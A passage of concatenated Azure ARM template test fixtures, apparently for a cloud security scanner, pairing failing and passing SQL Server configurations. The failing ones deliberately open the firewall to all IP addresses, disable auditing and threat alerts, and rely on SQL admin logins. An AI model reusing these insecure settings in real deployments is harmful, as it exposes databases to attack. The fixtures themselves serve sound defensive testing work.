"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/vulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "recurringScans": { "isEnabled": false, "emailSubscriptionAdmins": true }, "storageContainerPath": "[parameters('vulnerabilityAssessments_Default_storageContainerPath')]" } }, { "type": "Microsoft.Sql/servers/databases/advancedThreatProtectionSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/CreateIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DbParameterization')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DefragmentIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DropIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/ForceLastGoodPlan')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Enabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingPolicies", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "location": "West US", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "auditingState": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/backupLongTermRetentionPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "weeklyRetention": "PT0S", "monthlyRetention": "PT0S", "yearlyRetention": "PT0S", "weekOfYear": 0 } }, { "type": "Microsoft.Sql/servers/databases/backupShortTermRetentionPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 7, "diffBackupIntervalInHours": 12 } }, { "type": "Microsoft.Sql/servers/databases/extendedAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/geoBackupPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Enabled" } }, { "type": "Microsoft.Sql/servers/databases/ledgerDigestUploads", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": {} }, { "type": "Microsoft.Sql/servers/databases/securityAlertPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled", "disabledAlerts": [ "" ], "emailAddresses": [ "" ], "emailAccountAdmins": false, "retentionDays": 0 } }, { "type": "Microsoft.Sql/servers/databases/transparentDataEncryption", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Enabled" } }, { "type": "Microsoft.Sql/servers/databases/vulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "recurringScans": { "isEnabled": false, "emailSubscriptionAdmins": true } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerNoPublicAccess/sqlServerNoPublicAccess-TDE-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "transparentDataEncryption": { "type": "string", "allowedValues": [ "Enabled", "Disabled" ], "defaultValue": "Enabled", "metadata": { "description": "Enable or disable Transparent Data Encryption (TDE) for the database." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "sqlServerName": "[concat('sqlserver', uniqueString(subscription().id, resourceGroup().id))]", "databaseName": "sample-db-with-tde", "databaseEdition": "Basic", "databaseCollation": "SQL_Latin1_General_CP1_CI_AS", "databaseServiceObjectiveName": "Basic" }, "resources": [ { "name": "[variables('sqlServerName')]", "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "SqlServer" }, "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "resources": [ { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "Database" }, "properties": { "edition": "[variables('databaseEdition')]", "collation": "[variables('databaseCollation')]", "requestedServiceObjectiveName": "[variables('databaseServiceObjectiveName')]" }, "dependsOn": [ "[variables('sqlServerName')]" ], "resources": [ { "comments": "Transparent Data Encryption", "name": "current", "type": "transparentDataEncryption", "apiVersion": "2014-04-01-preview", "properties": { "status": "[parameters('transparentDataEncryption')]" }, "dependsOn": [ "[variables('databaseName')]" ] } ] }, { "name": "AllowAllMicrosoftAzureIps", "type": "firewallrules", "apiVersion": "2015-05-01-preview", "location": "[parameters('location')]", "properties": { "endIpAddress": "255.255.255.255", "startIpAddress": "0.0.0.0" }, "dependsOn": [ "[variables('sqlServerName')]" ] } ] } ], "outputs": { "sqlServerFqdn": { "type": "string", "value": "[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]" }, "databaseName": { "type": "string", "value": "[variables('databaseName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_SQLServerNoPublicAccess/sqlServerNoPublicAccess-TDE-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "transparentDataEncryption": { "type": "string", "allowedValues": [ "Enabled", "Disabled" ], "defaultValue": "Enabled", "metadata": { "description": "Enable or disable Transparent Data Encryption (TDE) for the database." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "sqlServerName": "[concat('sqlserver', uniqueString(subscription().id, resourceGroup().id))]", "databaseName": "sample-db-with-tde", "databaseEdition": "Basic", "databaseCollation": "SQL_Latin1_General_CP1_CI_AS", "databaseServiceObjectiveName": "Basic" }, "resources": [ { "name": "[variables('sqlServerName')]", "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "SqlServer" }, "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "resources": [ { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "Database" }, "properties": { "edition": "[variables('databaseEdition')]", "collation": "[variables('databaseCollation')]", "requestedServiceObjectiveName": "[variables('databaseServiceObjectiveName')]" }, "dependsOn": [ "[variables('sqlServerName')]" ], "resources": [ { "comments": "Transparent Data Encryption", "name": "current", "type": "transparentDataEncryption", "apiVersion": "2014-04-01-preview", "properties": { "status": "[parameters('transparentDataEncryption')]" }, "dependsOn": [ "[variables('databaseName')]" ] } ] }, { "name": "AllowAllMicrosoftAzureIps", "type": "firewallrules", "apiVersion": "2015-05-01-preview", "location": "[parameters('location')]", "properties": { "endIpAddress": "0.0.0.0", "startIpAddress": "0.0.0.0" }, "dependsOn": [ "[variables('sqlServerName')]" ] } ] } ], "outputs": { "sqlServerFqdn": { "type": "string", "value": "[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]" }, "databaseName": { "type": "string", "value": "[variables('databaseName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_SQLServerThreatDetectionTypes/sqlServerThreatDetectionTypes-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled", "disabledAlerts": "All" } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerThreatDetectionTypes/sqlServerThreatDetectionTypes-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled", "emailAddresses": "[variables('emailAddresses')[copyIndex()]]", "emailAccountAdmins": "Enabled" } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerThreatDetectionTypes/sqlServerThreatDetectionTypes-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "defaultValue": "[concat('server-', uniqueString(resourceGroup().id, deployment().name))]", "metadata": { "description": "Name for the SQL server" } }, "databaseNames": { "type": "array", "defaultValue": [ "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]", "[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]" ], "metadata": { "description": "Array of names for the SQL databases" } }, "emailAddresses": { "type": "array", "defaultValue": [ "user1@example.com", "user2@example.com" ], "metadata": { "description": "Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for server and DBs" } }, "adminUser": { "type": "string", "metadata": { "description": "Username for admin" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled", "emailAddresses": "[variables('emailAddresses')[copyIndex()]]", "emailAccountAdmins": "Enabled", "disabledAlerts": "" } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerUsesADAuth/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "administratorLogin": { "type": "string", "defaultValue": "anythingisbad" }, "administratorLoginPassword": { "type": "securestring", "defaultValue": "" }, "administrators": { "type": "object", "defaultValue": {} }, "location": { "type": "string" }, "serverName": { "type": "string" }, "enableADS": { "type": "bool", "defaultValue": false }, "useVAManagedIdentity": { "type": "bool", "defaultValue": false, "metadata": { "description": "To enable vulnerability assessments, the user deploying this template must have an administrator or owner permissions." } }, "vaStoragelessEnabled": { "type": "bool", "defaultValue": false, "metadata": { "description": "Flag for enabling vulnerability assessments with express configuration (storage less), the user deploying this template must have administrator or owner permissions." } }, "publicNetworkAccess": { "type": "string", "defaultValue": "" }, "minimalTlsVersion": { "type": "string", "defaultValue": "" }, "allowAzureIps": { "type": "bool", "defaultValue": true }, "enableVA": { "type": "bool", "defaultValue": false }, "serverTags": { "type": "object", "defaultValue": {} } }, "variables": { "subscriptionId": "[subscription().subscriptionId]", "resourceGroupName": "[resourceGroup().name]", "uniqueStorage": "[uniqueString(variables('subscriptionId'), variables('resourceGroupName'), parameters('location'))]", "storageName": "[tolower(concat('sqlva', variables('uniqueStorage')))]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', variables('storageName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('serverName')))]", "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]" }, "resources": [ { "condition": "[parameters('enableVA')]", "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "minimumTlsVersion": "TLS1_2", "supportsHttpsTrafficOnly": "true", "allowBlobPublicAccess": "false" }, "resources": [ { "condition": "[parameters('useVAManagedIdentity')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2018-09-01-preview", "name": "[concat(variables('storageName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid') )]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]", "[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('serverName')), '2018-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]", "principalType": "ServicePrincipal" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2020-11-01-preview", "name": "fail", "location": "[parameters('location')]", "properties": { "version": "12.0", "minimalTlsVersion": "[parameters('minimalTlsVersion')]", "publicNetworkAccess": "[parameters('publicNetworkAccess')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "administrators": "[parameters('administrators')]" }, "identity": "[if(and(parameters('enableVA'),parameters('useVAManagedIdentity')), json('{\"type\":\"SystemAssigned\"}'), json('null'))]", "tags": "[parameters('serverTags')]", "resources": [ { "condition": "[parameters('allowAzureIPs')]", "type": "firewallRules", "apiVersion": "2021-11-01", "name": "AllowAllWindowsAzureIps", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]" ], "properties": { "endIpAddress": "0.0.0.0", "startIpAddress": "0.0.0.0" } }, { "condition": "[parameters('enableADS')]", "type": "advancedThreatProtectionSettings", "apiVersion": "2021-11-01-preview", "name": "Default", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]" ], "properties": { "state": "Enabled" } }, { "condition": "[parameters('enableVA')]", "type": "vulnerabilityAssessments", "apiVersion": "2018-06-01-preview", "name": "Default", "dependsOn": [ "[concat('Microsoft.Sql/servers/', parameters('serverName'))]", "[concat('Microsoft.Storage/storageAccounts/', variables('storageName'))]", "[concat('Microsoft.Sql/servers/', parameters('serverName'), '/advancedThreatProtectionSettings/Default')]" ], "properties": { "storageContainerPath": "[if(parameters('enableVA'), concat(reference(resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))).primaryEndpoints.blob, 'vulnerability-assessment'), '')]", "storageAccountAccessKey": "[if(and(parameters('enableVA'),not(parameters('useVAManagedIdentity'))), listKeys(variables('storageName'), '2018-02-01').keys[0].value, '')]", "recurringScans": { "isEnabled": true, "emailSubscriptionAdmins": false } } }, { "condition": "[parameters('vaStoragelessEnabled')]", "type": "sqlVulnerabilityAssessments", "apiVersion": "2022-02-01-preview", "name": "Default", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]" ], "properties": { "state": "Enabled" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerUsesADAuth/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "administratorLogin": { "type": "string", "defaultValue": "" }, "administratorLoginPassword": { "type": "securestring", "defaultValue": "" }, "administrators": { "type": "object", "defaultValue": {} }, "location": { "type": "string" }, "serverName": { "type": "string" }, "enableADS": { "type": "bool", "defaultValue": false }, "useVAManagedIdentity": { "type": "bool", "defaultValue": false, "metadata": { "description": "To enable vulnerability assessments, the user deploying this template must have an administrator or owner permissions." } }, "vaStoragelessEnabled": { "type": "bool", "defaultValue": false, "metadata": { "description": "Flag for enabling vulnerability assessments with express configuration (storage less), the user deploying this template must have administrator or owner permissions." } }, "publicNetworkAccess": { "type": "string", "defaultValue": "" }, "minimalTlsVersion": { "type": "string", "defaultValue": "" }, "allowAzureIps": { "type": "bool", "defaultValue": true }, "enableVA": { "type": "bool", "defaultValue": false }, "serverTags": { "type": "object", "defaultValue": {} } }, "variables": { "subscriptionId": "[subscription().subscriptionId]", "resourceGroupName": "[resourceGroup().name]", "uniqueStorage": "[uniqueString(variables('subscriptionId'), variables('resourceGroupName'), parameters('location'))]", "storageName": "[tolower(concat('sqlva', variables('uniqueStorage')))]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', variables('storageName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('serverName')))]", "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]" }, "resources": [ { "condition": "[parameters('enableVA')]", "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "minimumTlsVersion": "TLS1_2", "supportsHttpsTrafficOnly": "true", "allowBlobPublicAccess": "false" }, "resources": [ { "condition": "[parameters('useVAManagedIdentity')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2018-09-01-preview", "name": "[concat(variables('storageName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid') )]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]", "[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('serverName')), '2018-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]", "principalType": "ServicePrincipal" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2020-11-01-preview", "name": "pass", "location": "[parameters('location')]", "properties": { "version": "12.0", "minimalTlsVersion": "[parameters('minimalTlsVersion')]", "publicNetworkAccess": "[parameters('publicNetworkAccess')]", "administrators": "[parameters('administrators')]" }, "identity": "[if(and(parameters('enableVA'),parameters('useVAManagedIdentity')), json('{\"type\":\"SystemAssigned\"}'), json('null'))]", "tags": "[parameters('serverTags')]", "resources": [ { "condition": "[parameters('allowAzureIPs')]", "type": "firewallRules", "apiVersion": "2021-11-01", "name": "AllowAllWindowsAzureIps", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]" ], "properties": { "endIpAddress": "0.0.0.0", "startIpAddress": "0.0.0.0" } }, { "condition": "[parameters('enableADS')]", "type": "advancedThreatProtectionSettings", "apiVersion": "2021-11-01-preview", "name": "Default", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]" ], "properties": { "state": "Enabled" } }, { "condition": "[parameters('enableVA')]", "type": "vulnerabilityAssessments", "apiVersion": "2018-06-01-preview", "name": "Default", "dependsOn": [ "[concat('Microsoft.Sql/servers/', parameters('serverName'))]", "[concat('Microsoft.Storage/storageAccounts/', variables('storageName'))]", "[concat('Microsoft.Sql/servers/', parameters('serverName'), '/advancedThreatProtectionSettings/Default')]" ], "properties": { "storageContainerPath": "[if(parameters('enableVA'), concat(reference(resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))).primaryEndpoints.blob, 'vulnerability-assessment'), '')]", "storageAccountAccessKey": "[if(and(parameters('enableVA'),not(parameters('useVAManagedIdentity'))), listKeys(variables('storageName'), '2018-02-01').keys[0].value, '')]", "recurringScans": { "isEnabled": true, "emailSubscriptionAdmins": false } } }, { "condition": "[parameters('vaStoragelessEnabled')]", "type": 